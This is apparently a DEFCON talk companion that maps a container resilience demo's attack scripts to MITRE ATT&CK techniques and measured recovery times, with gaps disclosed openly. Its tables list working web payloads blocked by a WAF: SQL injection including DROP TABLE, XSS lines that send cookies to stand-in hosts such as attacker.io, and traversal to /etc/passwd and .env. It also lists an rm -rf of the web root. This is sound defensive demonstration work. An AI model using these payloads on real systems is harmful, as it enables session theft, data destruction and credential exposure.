MITRE ATT&CK → B-V-R Mapping — Demo-3 Three-Tier Edition

DEFCON Coimbatore 2026 · Venugopal Parameswara

> *"We aren't showing how to stop a hacker. We are showing how to make a hacker's success temporary — across every tier where they can stand."*

How to Read This Document

Each row maps a real MITRE ATT&CK Technique (used in Demo-3's four attack scripts, or adjacent to them in production stacks) to:

- **B** — Business impact (bleed signal)
- **V** — How this affects attacker velocity
- **R** — How Demo-3's defence counters it, and what R is measured to be
- **Detection** — What `guardian3.sh` actually catches
- **Gap** — What this demo does NOT cover (honest disclosure)

This is a longer table than Demo-2's because Demo-3 spans four tiers, each with distinct technique coverage.

Demo Attack Mapping — attack3_web.sh (Web Tier)

Stage 3: Impact — Data Destruction

Field	Detail
ATT&CK ID	**T1485 — Data Destruction**
ATT&CK ID	T1488 — Disk Content Wipe (subset)
Tactic	Impact
What happens	`docker exec demo3-web sh -c 'rm -rf /usr/share/nginx/html/*'`
B Impact	HTTP 404 → bleed at $5,000/min
V Impact	Initial access → service-dark ≈ 5s on M5
R Counter	Immutable golden image — `docker rm -f` + `docker run demo3-web:golden`
Measured R	**R_1 = 0.61–0.66s**
Detection	✅ `test -f index.html` returns false + HTTP ≠ 200 for 2 polls
B-V-R result	R_1 < V → **DEFENDER WINS** with 45× margin

Stage 4 (persistence variant): T1505.003 — Web Shell

Field	Detail
What happens	Backdoor file written to web root, then `index.html` deleted
R Counter	Golden image respawn wipes ALL container filesystem — backdoor gone
Key insight	Immutability is the ultimate persistence killer. You can't persist in a container that will be destroyed.

Demo Attack Mapping — attack3_app.sh (App Tier)

Phase 3: Resource Exhaustion

Field	Detail
ATT&CK ID	T1499.004 — Application or System Exploitation (resource exhaustion)
What happens	`python3 -c "x=[bytearray(1024*1024) for _ in range(50)]"` — 50 MB balloon
B Impact	Latency spike, eventual health check failure
Detection	✅ Indirect — `docker stats` CPU/MEM shown on dashboard; primary signal is the `docker kill` that follows

Phase 4: System Shutdown

Field	Detail
ATT&CK ID	**T1529 — System Shutdown/Reboot**
Tactic	Impact
What happens	`docker kill demo3-app`
B Impact	In-memory sessions lost; HTTP 000 on port 3001
V Impact	Stateful tier down for as long as restart takes
R Counter	`docker rm -f` + `docker run demo3-app:golden` with the same DB credentials
Measured R	**R_2 = 0.73–0.76s**
State tradeoff	✅ Transactions preserved (Postgres); sessions lost (in-memory)
Detection	✅ `curl /health` ≠ 200 for 2 consecutive polls + `docker ps` filter empty
B-V-R result	R_2 < V → DEFENDER WINS; session loss accepted by design

---

Demo Attack Mapping — attack3_db.sh (DB Tier)

Phase 3: Data Encrypted for Impact

Field	Detail
ATT&CK ID	**T1486 — Data Encrypted for Impact**
Tactic	Impact
What happens	5 waves of mass UPDATE, 200 rows each, `amount = amount * -1`
B Impact	Data integrity breach; if replicated, primary + replica both compromised
V Impact	700–900 rows/sec write velocity sustained across 5 waves (~10s total)
R Counter	Guardian sees write delta > 500/sec → `pg_wal_replay_pause()` on replica
Measured R	**R_3 = 12.50s, 12.62s** across two consecutive runs (avg 12.56s)
Detection	✅ `pg_stat_user_tables` Σ(n_tup_ins+upd+del) delta > 500
Honest Gap	⚠ ~500 rows reach the replica during bulk INSERT before fence engages
B-V-R result	R_3 < V → DEFENDER WINS with 2.4× margin (at stated V=30s)

Phase 2: Staging (T1485 — bulk INSERT)

Field	Detail
What happens	`INSERT … SELECT random() * 1000 FROM generate_series(1, 500)`
Detection	⚠ NOT caught in the current demo — this is the documented §9 gap
Fix path	CDC (logical replication + row-level monitor) — CTF Level 2

Demo Attack Mapping — attack3_waf.sh (WAF Tier)

Wave 1: Active Scanning

ATT&CK ID	Technique	Wave	Blocked
T1595.002	Vulnerability Scanning (sqlmap UA)	1	✅ 403
T1595.002	Vulnerability Scanning (Nikto UA)	1	✅ 403

Wave 2: SQL Injection (T1190 — Exploitation of Public-Facing Application)

ATT&CK ID	Payload	CRS rule	Blocked
T1190	`username=' OR '1'='1'--`	942100	✅ 403
T1190	`UNION SELECT table_name FROM information_schema.tables--`	942200	✅ 403
T1190	`1' AND SLEEP(5)--`	942130	✅ 403
T1485	`'; DROP TABLE sessions;--`	942140	✅ 403

Wave 3: Cross-Site Scripting (T1059.007 — Command and Scripting: JavaScript)

ATT&CK ID	Payload	CRS rule	Blocked
T1059.007	`<script>document.location='//attacker.io?c='+document.cookie</script>`	941100	✅ 403
T1059.007	`<img src=x onerror=fetch('//c2.io/'+btoa(document.cookie))>`	941110	✅ 403
T1059.007	`<svg/onload=eval(atob("ZmV0Y2goJy8vYzIuaW8nKQ==”))>`	941180	✅ 403

Wave 4: Path Traversal (T1083 — File and Directory Discovery)

ATT&CK ID	Payload	CRS rule	Blocked
T1083	`../../../../etc/passwd`	930100	✅ 403
T1552.001	`../../../app/.env`	930120	✅ 403
T1083	`../../etc/passwd%00.jpg`	930100	✅ 403

Wave 5: Access Control Bypass (T1548 — Abuse Elevation Control)

ATT&CK ID	Payload	Result
T1548	`X-Forwarded-For: 127.0.0.1` on `/admin/config`	✅ 403 (CRS header validation)
T1548	`X-HTTP-Method-Override: DELETE` on `/admin/delete`	✅ 403 (method anomaly)
T1548	`GET /admin/config` (no bypass headers)	⚠ 404 — route doesn't exist, counted as PASSED for honesty

Summary

- **Blocked:** 13/15 real 403s from ModSecurity CRS
- **Passed:** 1/15 (404 — route missing, no real exploit possible)
- **Successful exploits:** 0
- **Block rate (honest):** 86%

Extended ATT&CK Coverage — Adjacent to Demo-3

Techniques not in the scripts but relevant to each tier. These are what you'd face in production.

ATT&CK ID	Technique	Tactic	Tier	Demo-3 Counter	Gap
T1190	Exploit Public-Facing App	Initial Access	WAF+WEB	ModSecurity CRS + respawn cycle	Zero-day rules take time to appear
T1059.004	Unix Shell	Execution	WEB/APP	Container isolation + respawn	Escape via kernel bug not covered
T1053.003	Cron Job	Persistence	WEB/APP	Immutable image — cron wipes on respawn	Host-level cron outside scope
T1070.004	File Deletion	Defense Evasion	WEB	Drift detection on `index.html`	Other-file deletion not monitored
T1496	Resource Hijacking	Impact	APP/DB	`docker stats` + health check	No egress monitoring
T1499	Endpoint DoS	Impact	WEB/APP	Guardian detects 503/timeout → respawn	Slowloris below timeout not detected
T1611	Escape to Host	Privilege Escalation	ALL	⚠ **Outside scope** — needs seccomp/apparmor	
T1195.002	Supply Chain — Dev Dependencies	Initial Access	BUILD	⚠ **Outside scope** — needs cosign/SBOM (CTF Level 4)	
T1078.004	Cloud Accounts	Initial Access	CLOUD	⚠ N/A — demo is local-only	
T1567.002	Exfiltration to Cloud	Exfiltration	ALL	⚠ **Outside scope** — needs egress DLP	
T1530	Data from Cloud Storage	Collection	DB	`pg_hba.conf` restricts to `demo3-net`	S3-style exfil not modelled
T1562.001	Impair Defenses — Disable/Modify Tools	Defense Evasion	ALL	Guardian runs on host, not in container — harder to impair	Host compromise defeats guardian
T1222.002	File Permissions Modification	Defense Evasion	WEB/APP	Read-only root filesystem target	Not enforced in current demo Dockerfiles

What Demo-3 Does NOT Cover (Honest Gaps)

Carried through from `demo3_technical.md §9` and expanded.

Gap	MITRE	Why It Matters	Production Fix
Bulk INSERT before fence engages	T1486 (setup phase)	~500 rows corrupt the replica	Sub-100ms CDC (Debezium + Kafka, or native logical replication consumers)
Fence-and-resume, not full promote	T1498 (reliability-adjacent)	Manual promote = 3 min RTO for primary loss	Patroni / Stolon / pg_auto_failover
WAF 86% not 100%	T1548	1 request reached the origin (even though non-exploitable)	CRS paranoia ≥ 3, custom rules for `/admin/*`
Single-host deployment	Multiple	Loopback networking → sub-second MTTR is partly artefact	Multi-AZ production with real networking
Golden image supply chain	T1195.002	If Dockerfile is poisoned, every respawn ships poisoned	cosign signing, SBOM verification, admission controllers
Container escape	T1611	If attacker exits to host, guardian is compromised	seccomp profiles, AppArmor, rootless containers, gVisor
Slow-and-low write pattern	T1486 (variant)	400 rows/sec for 10 minutes bypasses 500/sec threshold	Statistical anomaly detection (ewma + stddev) instead of threshold
Backup integrity	T1490 (inhibit recovery)	If backups are also encrypted, restoration fails	Offline/immutable backups, 3-2-1 rule, restore drills

---

The V → 0 Problem — AI-Augmented Attacks (Demo-3 Lens)

Demo-2 framed AI-assisted exploit generation as making V approach zero. Demo-3 sharpens the picture: when V → 0, you need R → 0 **on every tier**, not just the easy one.

```
Traditional V timeline (hand-crafted attack):
  Initial access → recon (5 min) → vuln ID (hours) → exploit (days)
  Ransomware tool loads → encrypt (30 min) → C2 beacon → exfil
  V ≈ hours to days

AI-augmented V timeline (2025-2026):
  Initial access → LLM-generated exploit chain (seconds) → execute
  Ransomware: one-shot SQL to hit DB tier in <60 seconds
  V ≈ 30-60 seconds
```

This makes per-tier R critical. If V is 30s and your web R is 0.6s but your DB R is 45s, you still lose. The slowest tier sets the defence.

B-V-R vs MITRE — The Complementary View

```
MITRE ATT&CK answers:   "WHAT are they doing?"      — taxonomy
B-V-R answers:          "HOW FAST can we survive it?" — measurement
```

Demo-3 uses both together:

1. **Threat modelling:** walk the ATT&CK matrix, identify the top 10 techniques relevant to your stack
2. **Coverage audit:** for each technique, verify you have detection + recovery paths
3. **Measurement:** run each path in a GameDay, capture R per tier
4. **Reporting:** surface $R_1/R_2/R_3$ and combined C on the board-level dashboard
5. **Gap analysis:** for any R > V, that's your next investment

The models are complementary. Neither is sufficient alone.

Further Reading

- MITRE ATT&CK Framework: https://attack.mitre.org
- ATT&CK for Containers: https://attack.mitre.org/matrices/enterprise/containers/
- NIST SP 800-61r3 — Incident Response Guide
- NIST SP 800-82r3 — Operational Technology Security (for ICS extensions)
- OWASP Modsecurity CRS documentation: https://coreruleset.org
- PostgreSQL replication docs: https://www.postgresql.org/docs/15/high-availability.html
- Patroni (HA for Postgres): https://patroni.readthedocs.io
- sigstore/cosign — image signing: https://docs.sigstore.dev
- SLSA supply-chain framework: https://slsa.dev

DEFCON Coimbatore 2026 · Demo-3 · Venugopal Parameswara